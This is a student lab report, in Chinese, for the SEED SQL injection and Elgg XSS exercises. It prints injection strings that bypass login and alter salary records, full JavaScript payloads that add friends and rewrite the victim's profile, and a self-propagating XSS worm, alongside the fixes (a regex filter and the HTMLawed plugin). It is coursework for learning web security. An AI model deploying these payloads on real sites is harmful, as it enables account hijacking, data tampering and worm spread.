20253905 2025-2026-2 《网络攻防实践》实践十报告
20253905 2025-2026-2 《网络攻防实践》实践十报告
1.实践内容
1.1 SEED SQL注入攻击与防御实验
- 实验环境部署与SQL基础熟悉:修改虚拟机主机名、启动Apache Web服务,登录MySQL数据库,熟练使用基础SQL命令查看数据库、数据表及员工记录信息。
- SELECT语句SQL注入攻击:分析登录页面源码与后端PHP代码,利用输入漏洞构造恶意语句,无需密码即可登录管理员账号。
- UPDATE语句SQL注入攻击:在个人资料编辑页面构造注入载荷,利用UPDATE语句漏洞篡改数据库中管理员薪资数据。
- SQL注入漏洞修复:通过PHP代码添加特殊字符、SQL敏感关键字正则过滤,重启服务后验证注入攻击失效,完成漏洞防御。
1.2 SEED XSS跨站脚本攻击实验(Elgg)
- 基础XSS弹窗测试:在个人资料中嵌入JS脚本,实现页面弹窗自定义内容、弹窗展示用户Cookie信息。
- 受害者Cookie窃取:开启端口监听,构造恶意脚本,诱导访问者自动将自身Cookie发送至攻击者主机。
- 恶意自动化操作:编写JS代码,借助XSS漏洞实现自动添加受害者为好友、私自篡改受害者个人主页资料。
- 编写XSS蠕虫:制作具备自我复制传播能力的蠕虫脚本,访问受感染主页的用户会自动植入恶意代码。
- XSS攻击防御:在Elgg后台启用HTMLawed安全过滤插件,过滤恶意脚本,使其仅以文本展示、无法执行。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
2.1.1 熟悉SQL语句
- 使用
hostname 20253905zhouweicheng修改主机名 - 输入命令
sudo service apache2 status,检查apache2.service的状态,显示Web服务器已经正常启动。
![image]()
- 新建一个终端,名称以及更新
- 输入命令
mysql -u root -p进入数据库,密码为seedubuntu
![image]()
- 输入命令
show databases;查询数据库列表
![image]()
- 输入命令
use Users;,切换到Users数据库。再输入show tables;,查看Users里的表
![image]()
- 输入命令
select * from credential;,查看表内的记录
![image]()
- 输入命令
select * from credential where Name = 'Ted';,查找指定记录
![image]()
2.1.2 对SELECT语句的SQL注入攻击
- 进入网站www.SEEDLabSQLInjection.com
![image]()
- 右键view page source查看网页源码
![image]()
- 发现登陆的表单中使用 get 方法访问 unsafe_home.php
![image]()
- 查看
/var/www/SQLInjection/unsafe_home.php
![image]()
- 针对代码,我们可以在不知道密码的情况下以admin用户进行登录
![image]()
![image]()
2.1.3 对UPDATE语句的SQL注入攻击
- 右键查看Edit Profile页面的源代码
![image]()
![image]()
- 打开文件unsafe_edit_backend.php并查看
![image]()
- 输入
', Salary='20253905 'where name='Admin'; #
![image]()
*记录成功被修改
![image]()
2.1.4 修复漏洞
- 输入
sudo nano /var/www/SQLInjection/unsafe_home.php,打开文件 - 在接收到用户名变量后,加一个过滤条件
$input_uname = preg_replace("/[\'\";#=<>\\\\\|]|--|\b(select|update|delete|insert|drop|union|or|and)\b/i", "", $input_uname);,保存退出
![image]()
- 输入命令重新启动Apache服务
![image]()
- 重新尝试使用
Admin'#登录,登录失败,漏洞已修复
![image]()
![image]()
2.2 SEED XSS跨站脚本攻击实验(Elgg)
2.2.1 发布恶意消息,显示警报窗口
- 打开网站www.xsslabelgg.com,并登录
![image]()
- 进入编辑信息页面,在Brief description中输入如下脚本
<script>alert("20253905");</script>。
![image]()
- 保存并退出,可以看到浏览器自动弹出一个警告窗口,窗口内容为20253905。
![image]()
2.2.2 弹窗显示cookie信息:将cookie信息显示
- 重新进入资料编辑界面,输入
<script>alert(document.cookie);</script>
![image]()
- 保存并退出,页面成功显示了当前站点的Cookie信息
![image]()
2.2.3 窃取受害者的cookies:将cookie发送给攻击者
- 查看IP地址
![image]()
- 输入下图命令
![image]()
- 开启监听
![image]()
- 登录boby账号
![image]()
- 得到cookie
![image]()
2.2.4 成为受害者的朋友
- 登录Alice账号,访问boby的主页,查看用户的id
![image]()
![image]()
- 编辑Alice主页,切换为HTML模式,输入以下代码
![image]()
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

- 保存后退出,登录boby账号,点击Alice主页后,发现自动添加其为好友
![image]()
2.2.5修改受害者的信息
- 编辑Alice主页,切换为HTML模式,输入以下代码,并保存退出
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

- 登录boby账号访问alice主页,再次查看boby主页发现被修改
![image]()
2.2.6 编写XSS蠕虫
编辑Alice主页,切换为HTML模式,输入以下代码,并保存退出
<p>20253905zwc<script id='worm' type='text/javascript'>
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>20253905zwc"+ wormCode + " &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=45;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script></p>
- 登录boby账号,访问Alice主页后,受害者用户的个人资料被自动修改,About me中出现了被写入的内容,说明脚本已经成功在受害者资料中保存下来。
![image]()
2.2.7 对抗XSS攻击
- 登录管理员账户,账号:admin,密码:seedelgg,并在Account-Administration-Plugins中找到HTMLawed点按Actived按钮将其打开
![image]()
![image]()
- 重新返回alice账号,恶意代码以普通文本的形式显示在页面中,没有继续执行,对抗成功
![image]()
3.学习中遇到的问题及解决
- 问题1:使用数据库时,没有加
;导致无法执行命令 - 问题1解决方案:学习SQL语法。
4.实践总结
本次实验完成了SEED平台SQL注入与Elgg框架XSS跨站脚本攻防实操。熟悉了MySQL基础SQL语句,掌握SELECT、UPDATE语句的SQL注入攻击方式,实现无密码登录管理员账号、篡改数据库数据,并通过代码关键字过滤成功修复漏洞。同时完成XSS弹窗提示、Cookie窃取、自动添加好友、篡改用户信息及XSS蠕虫编写,借助安全插件实现XSS防御。实验深入理解Web漏洞的原理与危害,掌握常见攻击手法和防护方案,也发现自身SQL语法运用不熟练的问题,有效提升了网络攻防实践与安全防护能力。









































浙公网安备 33010602011771号